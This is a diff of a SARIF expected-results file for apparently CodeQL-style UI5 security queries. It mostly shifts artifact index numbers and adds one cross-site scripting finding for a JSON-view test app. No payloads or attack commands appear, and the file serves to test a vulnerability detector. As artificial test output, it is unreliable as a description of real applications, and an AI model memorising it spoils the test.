                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 167
+                  "index" : 170
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15950,7 +16185,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 167
+                  "index" : 170
                 },
                 "region" : {
                   "startLine" : 27,
@@ -15968,7 +16203,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 168
+                  "index" : 171
                 },
                 "region" : {
                   "startLine" : 17,
@@ -15986,7 +16221,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 168
+                  "index" : 171
                 },
                 "region" : {
                   "startLine" : 133,
@@ -16004,7 +16239,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 168
+                  "index" : 171
                 },
                 "region" : {
                   "startLine" : 132,
@@ -16026,7 +16261,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 167
+            "index" : 170
           },
           "region" : {
             "startLine" : 23,
@@ -16055,7 +16290,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 191
+            "index" : 194
           },
           "region" : {
             "startLine" : 14,
@@ -16076,7 +16311,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 196
+                  "index" : 199
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16095,7 +16330,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 192
+                  "index" : 195
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16113,7 +16348,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 191
+                  "index" : 194
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16131,7 +16366,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 191
+                  "index" : 194
                 },
                 "region" : {
                   "startLine" : 14,
@@ -16152,7 +16387,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 196
+            "index" : 199
           },
           "region" : {
             "startLine" : 5,
@@ -16182,7 +16417,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 200
+            "index" : 203
           },
           "region" : {
             "startLine" : 14,
@@ -16203,7 +16438,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 205
+                  "index" : 208
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16222,7 +16457,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 201
+                  "index" : 204
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16240,7 +16475,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 203
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16258,7 +16493,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 203
                 },
                 "region" : {
                   "startLine" : 14,
@@ -16279,7 +16514,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 205
+            "index" : 208
           },
           "region" : {
             "startLine" : 5,
@@ -16309,7 +16544,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 209
+            "index" : 212
           },
           "region" : {
             "startLine" : 14,
@@ -16330,7 +16565,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 214
+                  "index" : 217
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16349,7 +16584,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 210
+                  "index" : 213
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16367,7 +16602,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 209
+                  "index" : 212
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16385,7 +16620,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 209
+                  "index" : 212
                 },
                 "region" : {
                   "startLine" : 14,
@@ -16406,7 +16641,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 214
+            "index" : 217
           },
           "region" : {
             "startLine" : 5,
@@ -16436,7 +16671,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 236
+            "index" : 239
           },
           "region" : {
             "startLine" : 27,
@@ -16457,7 +16692,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 26,
@@ -16475,7 +16710,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 26,
@@ -16493,7 +16728,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 27,
@@ -16514,7 +16749,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 236
+            "index" : 239
           },
           "region" : {
             "startLine" : 26,
@@ -16543,7 +16778,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 287
+            "index" : 290
           },
           "region" : {
             "startLine" : 8,
@@ -16564,7 +16799,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 292
+                  "index" : 295
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16583,7 +16818,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 288
+                  "index" : 291
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16601,7 +16836,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 286
+                  "index" : 289
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16619,7 +16854,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 287
+                  "index" : 290
                 },
                 "region" : {
                   "startLine" : 8,
@@ -16640,7 +16875,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 292
+            "index" : 295
           },
           "region" : {
             "startLine" : 5,
@@ -16670,7 +16905,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 312
+            "index" : 315
           },
           "region" : {
             "startLine" : 8,
@@ -16691,7 +16926,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 318
+                  "index" : 321
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16710,7 +16945,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 314
+                  "index" : 317
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16728,7 +16963,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 313
+                  "index" : 316
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16746,7 +16981,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 312
+                  "index" : 315
                 },
                 "region" : {
                   "startLine" : 8,
@@ -16767,7 +17002,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 318
+            "index" : 321
           },
           "region" : {
             "startLine" : 5,
@@ -16797,7 +17032,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 323
+            "index" : 326
           },
           "region" : {
             "startLine" : 8,
@@ -16818,7 +17053,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 328
+                  "index" : 331
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16837,7 +17072,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 324
+                  "index" : 327
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16855,7 +17090,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 322
+                  "index" : 325
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16873,7 +17108,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 323
+                  "index" : 326
                 },
                 "region" : {
                   "startLine" : 8,
@@ -16894,7 +17129,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 328
+            "index" : 331
           },
           "region" : {
             "startLine" : 5,
@@ -16924,7 +17159,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 300
+            "index" : 303
           },
           "region" : {
             "startLine" : 21,
@@ -16945,7 +17180,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 300
+                  "index" : 303
                 },
                 "region" : {
                   "startLine" : 18,
@@ -16963,7 +17198,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 296
+                  "index" : 299
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16981,7 +17216,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 300
+                  "index" : 303
                 },
                 "region" : {
                   "startLine" : 21,
@@ -17002,7 +17237,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 300
+            "index" : 303
           },
           "region" : {
             "startLine" : 18,
@@ -17014,6 +17249,113 @@
           "text" : "user-provided value"
         }
       } ]
+    }, {
+      "ruleId" : "js/ui5-xss",
+      "rule" : {
+        "id" : "js/ui5-xss",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "XSS vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 311
+          },
+          "region" : {
+            "startLine" : 13,
+            "startColumn" : 15,
+            "endColumn" : 25
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "c18df3aa119b40dc:1",
+        "primaryLocationStartColumnFingerprint" : "11"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 311
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 13,
+                  "endColumn" : 23
+                }
+              },
+              "message" : {
+                "text" : "\"value\": \"{/input}\""
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 307
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
+                }
+              },
+              "message" : {
+                "text" : "input: null"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 311
+                },
+                "region" : {
+                  "startLine" : 13,
+                  "startColumn" : 15,
+                  "endColumn" : 25
+                }
+              },
+              "message" : {
+                "text" : "\"content\": \"{/input}\""
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 311
+          },
+          "region" : {
+            "startLine" : 9,
+            "startColumn" : 13,
+            "endColumn" : 23
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
     }, {
       "ruleId" : "js/ui5-xss",
       "rule" : {
@@ -17031,7 +17373,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 108
+            "index" : 111
           },
           "region" : {
             "startLine" : 8,
@@ -17052,7 +17394,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 111
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17071,7 +17413,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 105
+                  "index" : 108
                 },
                 "region" : {
                   "startLine" : 10,
@@ -17089,7 +17431,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 111
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17110,7 +17452,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 108
+            "index" : 111
           },
           "region" : {
             "startLine" : 5,
@@ -17140,7 +17482,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 240
+            "index" : 243
           },
           "region" : {
             "startLine" : 9,
@@ -17161,7 +17503,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 240
+                  "index" : 243
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17180,7 +17522,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 31,
@@ -17198,7 +17540,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17216,7 +17558,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17234,7 +17576,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 10,
@@ -17252,7 +17594,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 32,
@@ -17270,7 +17612,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 240
+                  "index" : 243
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17291,7 +17633,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 240
+            "index" : 243
           },
           "region" : {
             "startLine" : 5,
@@ -17321,7 +17663,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 240
+            "index" : 243
           },
           "region" : {
             "startLine" : 17,
@@ -17342,7 +17684,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 18,
@@ -17360,7 +17702,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 18,
@@ -17378,7 +17720,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 19,
@@ -17396,7 +17738,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 236
+                  "index" : 239
                 },
                 "region" : {
                   "startLine" : 34,
@@ -17414,7 +17756,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 240
+                  "index" : 243
                 },
                 "region" : {
                   "startLine" : 17,
@@ -17435,7 +17777,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 236
+            "index" : 239
           },
           "region" : {
             "startLine" : 18,
@@ -17464,7 +17806,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 248
+            "index" : 251
           },
           "region" : {
             "startLine" : 8,
@@ -17485,7 +17827,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 248
+                  "index" : 251
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17504,7 +17846,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 244
+                  "index" : 247
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17522,7 +17864,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 248
+                  "index" : 251
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17543,7 +17885,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 248
+            "index" : 251
           },
           "region" : {
             "startLine" : 5,
@@ -17573,7 +17915,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 256
+            "index" : 259
           },
           "region" : {
             "startLine" : 8,
@@ -17594,7 +17936,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 256
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17613,7 +17955,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 12,
@@ -17631,7 +17973,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 256
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17653,7 +17995,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 256
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17672,7 +18014,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17690,7 +18032,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 15,
@@ -17708,7 +18050,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 15,
@@ -17726,7 +18068,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 16,
@@ -17744,7 +18086,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 10,
@@ -17762,7 +18104,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 256
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17783,7 +18125,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 256
+            "index" : 259
           },
           "region" : {
             "startLine" : 5,
